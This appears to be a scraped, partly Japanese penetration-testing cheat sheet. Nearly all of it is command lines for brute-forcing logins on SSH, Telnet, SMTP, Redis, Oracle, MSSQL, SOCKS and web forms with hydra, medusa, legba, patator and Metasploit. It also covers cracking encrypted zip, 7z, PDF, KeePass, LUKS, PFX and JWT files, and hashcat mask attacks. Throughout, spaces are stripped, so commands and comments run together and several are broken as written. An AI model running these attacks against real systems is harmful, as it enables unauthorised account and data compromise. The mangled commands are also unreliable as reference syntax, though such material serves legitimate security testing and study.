crunch460123456789ABCDEF-ocrunch1.txt#From length 4 to 6 using that alphabetcrunch44-f/usr/share/crunch/charset.lstmixalpha# Only length 4 using charset mixalpha (inside file charset.lst)@Lowercasealphacharacters,Uppercasealphacharacters%Numericcharacters^Specialcharactersincludingspaccrunch68-t,@@^^%%
hydra-L/usr/share/brutex/wordlists/simple-users.txt-P/usr/share/brutex/wordlists/password.lstsizzle.htb.localhttp-get/certsrv/# Use https-get mode for httpsmedusa-h<IP>-u<username>-P<passwords.txt>-Mhttp-mDIR:/path/to/auth-T10legbahttp.basic--usernameadmin--passwordwordlists/passwords.txt--targethttp://localhost:8888/
hydra-L/usr/share/brutex/wordlists/simple-users.txt-P/usr/share/brutex/wordlists/password.lstdomain.htbhttp-post-form"/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect"-V# Use https-post-form mode for https
For httpsは「http-post-form」から「**https-post-form」に変更する必要があります。
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt-plpasswords.txt# Bruteforce using tickets against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-tltickets.txt-ulusers.txt# Bruteforce using passwords against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-plpasswords.txt# Bruteforce using hashes against the hosts listed on the hosts.txtmssqlpwnerhosts.txtbrute-ulusers.txt-hlhashes.txt
patatororacle_loginsid=<SID>host=<IP>user=FILE0password=FILE10=users-oracle.txt1=pass-oracle.txt-xignore:code=ORA-01017./odat.pypasswordguesser-s $SERVER -d $SID./odat.pypasswordguesser-s $MYSERVER -p $PORT --accounts-fileaccounts_multiple.txt#msf1msf> useadmin/oracle/oracle_loginmsf> setRHOSTS<IP>msf> setRPORT1521msf> setSID<SID>#msf2, this option uses nmap and it fails sometimes for some reasonmsf> usescanner/oracle/oracle_loginmsf> setRHOSTS<IP>msf> setRPORTS1521msf> setSID<SID>#for some reason nmap fails sometimes when executing this scriptnmap--scriptoracle-brute-p1521--script-argsoracle-brute.sid=<SID><IP>legbaoracle--targetlocalhost:1521--oracle-databaseSYSTEM--usernameadmin--passworddata/passwords.txt
msf> useauxiliary/scanner/redis/redis_loginnmap--scriptredis-brute-p6379<IP>hydra–P/path/pass.txtredis://<IP>:<PORT># 6379 is the defaultlegbaredis--targetlocalhost:6379--usernameadmin--passworddata/passwords.txt [--redis-ssl]
legbasftp--usernameadmin--passwordwordlists/passwords.txt--targetlocalhost:22# Try keys from a folderlegbasftp--usernameadmin--password'@/some/path/*'--ssh-auth-modekey--targetlocalhost:22
hydra-l<username>-P/path/to/passwords.txt<IP>smtp-Vhydra-l<username>-P/path/to/passwords.txt-s587<IP>-S-v-V#Port 587 for SMTP with SSLlegbasmtp--usernameadmin@example.com--passwordwordlists/passwords.txt--targetlocalhost:25 [--smtp-mechanism <mech>]
SOCKS
nmap-vvv-sCV--scriptsocks-brute--script-argsuserdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m-p1080<IP>legbasocks5--targetlocalhost:1080--usernameadmin--passworddata/passwords.txt# With alternative addresslegbasocks5--targetlocalhost:1080--usernameadmin--passworddata/passwords.txt--socks5-address'internal.company.com'--socks5-port8080
SQL Server
#Use the NetBIOS name of the machine as domaincrackmapexecmssql<IP>-d<DomainName>-uusernames.txt-ppasswords.txthydra-L/root/Desktop/user.txt–P/root/Desktop/pass.txt<IP>mssqlmedusa-h<IP>–U/root/Desktop/user.txt–P/root/Desktop/pass.txt–Mmssqlnmap-p1433--scriptms-sql-brute--script-argsmssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts<host>#Use domain if needed. Be careful with the number of passwords in the list, this could block accountsmsf> useauxiliary/scanner/mssql/mssql_login#Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
SSH
hydra-lroot-Ppasswords.txt [-t 32]<IP>sshncrack-p22--userroot-Ppasswords.txt<IP> [-T 5]medusa-uroot-P500-worst-passwords.txt-h<IP>-Msshpatatorssh_loginhost=<ip>port=22user=root0=/path/passwords.txtpassword=FILE0-xignore:mesg='Authentication failed'legbassh--usernameadmin--passwordwordlists/passwords.txt--targetlocalhost:22# Try keys from a folderlegbassh--usernameadmin--password'@/some/path/*'--ssh-auth-modekey--targetlocalhost:22
hydra-lroot-Ppasswords.txt [-t 32]<IP>telnetncrack-p23--userroot-Ppasswords.txt<IP> [-T 5]medusa-uroot-P500-worst-passwords.txt-h<IP>-Mtelnetlegbatelnet \--username admin \--password wordlists/passwords.txt \--target localhost:23 \--telnet-user-prompt "login: " \--telnet-pass-prompt "Password: " \--telnet-prompt ":~$ " \--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
暗号化されたzip内に含まれるファイルの平文(または平文の一部)を知っている必要があります。暗号化されたzip内に含まれるファイル名とファイルのサイズを確認するには、次のコマンドを実行します: 7z l encrypted.zipbkcrackをリリースページからダウンロードしてください。
# You need to create a zip file containing only the file that is inside the encrypted zipzipplaintext.zipplaintext.file./bkcrack-C<encrypted.zip>-c<plaintext.file>-P<plaintext.zip>-p<plaintext.file># Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18# With that key you can create a new zip file with the content of encrypted.zip# but with a different pass that you set (so you can decrypt it)./bkcrack-C<encrypted.zip>-k7b549874ebc25ec57e465e18-Uunlocked.zipnew_pwdunzipunlocked.zip#User new_pwd as password
7z
cat/usr/share/wordlists/rockyou.txt|7zatbackup.7z
#Download and install requirements for 7z2johnwgethttps://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-getinstalllibcompress-raw-lzma-perl./7z2john.plfile.7z>7zhash.john
PDF
apt-getinstallpdfcrackpdfcrackencrypted.pdf-w/usr/share/wordlists/rockyou.txt#pdf2john didn't work well, john didn't know which hash type was# To permanently decrypt the pdfsudoapt-getinstallqpdfqpdf--password=<PASSWORD>--decryptencrypted.pdfplaintext.pdf
gitclonehttps://github.com/Sjord/jwtcrack.gitcdjwtcrack#Bruteforce using crackjwt.pypythoncrackjwt.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc/usr/share/wordlists/rockyou.txt#Bruteforce using johnpythonjwt2john.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc>jwt.johnjohnjwt.john#It does not work with Kali-John
sudoapt-getinstall-ykpcli#Install keepass tools like keepass2johnkeepass2johnfile.kdbx>hash#The keepass is only using passwordkeepass2john-k<file-password>file.kdbx>hash# The keepass is also using a file as a needed credential#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn--wordlist=/usr/share/wordlists/rockyou.txthash
bruteforce-luks-f./list.txt./backup.imgcryptsetupluksOpenbackup.imgmylucksopenls/dev/mapper/#You should find here the image mylucksopenmount/dev/mapper/mylucksopen/mnt
方法 2
cryptsetupluksDumpbackup.img#Check that the payload offset is set to 4096ddif=backup.imgof=luckshashbs=512count=4097#Payload offset +1hashcat-m14600-a0luckshashwordlists/rockyou.txtcryptsetupluksOpenbackup.imgmylucksopenls/dev/mapper/#You should find here the image mylucksopenmount/dev/mapper/mylucksopen/mnt
unzipfile.xlsxgrep-R"sheetProtection"./*# Find something like: <sheetProtection algorithmName="SHA-512"hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/># Remove that line and rezip the filezip-rfile.xls.
PFX証明書
# From https://github.com/Ridter/p12tool./p12toolcrack-cstaff.pfx-f/usr/share/wordlists/rockyou.txt# From https://github.com/crackpkcs12/crackpkcs12crackpkcs12-d/usr/share/wordlists/rockyou.txt./cert.pfx
# This will combine 2 wordlistshashcat.exe-a1-m1000C:\Temp\ntlm.txt.\wordlist1.txt.\wordlist2.txt# Same attack as before but adding chars in the newly generated words# In the previous example this will generate:## hello-world!## hello-earth!hashcat.exe-a1-m1000C:\Temp\ntlm.txt.\wordlist1.txt.\wordlist2.txt-j $- -k $!
マスク攻撃 (-a 3)
# Mask attack with simple maskhashcat.exe-a3-m1000C:\Temp\ntlm.txt?u?l?l?l?l?l?l?l?dhashcat--help#will show the charsets and are as follows?|Charset===+=========l|abcdefghijklmnopqrstuvwxyzu|ABCDEFGHIJKLMNOPQRSTUVWXYZd|0123456789h|0123456789abcdefH|0123456789ABCDEFs|!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~a|?l?u?d?sb|0x00-0xff# Mask attack declaring custom charsethashcat.exe-a3-m1000C:\Temp\ntlm.txt-1?d?s?u?l?l?l?l?l?l?l?1## -1 ?d?s defines a custom charset (digits and specials).## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.# Mask attack with variable password length## Create a file called masks.hcmask with this content:?d?s,?u?l?l?l?l?1?d?s,?u?l?l?l?l?l?1?d?s,?u?l?l?l?l?l?l?1?d?s,?u?l?l?l?l?l?l?l?1?d?s,?u?l?l?l?l?l?l?l?l?1## Use it to crack the passwordhashcat.exe-a3-m1000C:\Temp\ntlm.txt.\masks.hcmask
ワードリスト + マスク (-a 6) / マスク + ワードリスト (-a 7) 攻撃
# Mask numbers will be appended to each word in the wordlisthashcat.exe-a6-m1000C:\Temp\ntlm.txt \wordlist.txt?d?d?d?d# Mask numbers will be prepended to each word in the wordlisthashcat.exe-a7-m1000C:\Temp\ntlm.txt?d?d?d?d \wordlist.txt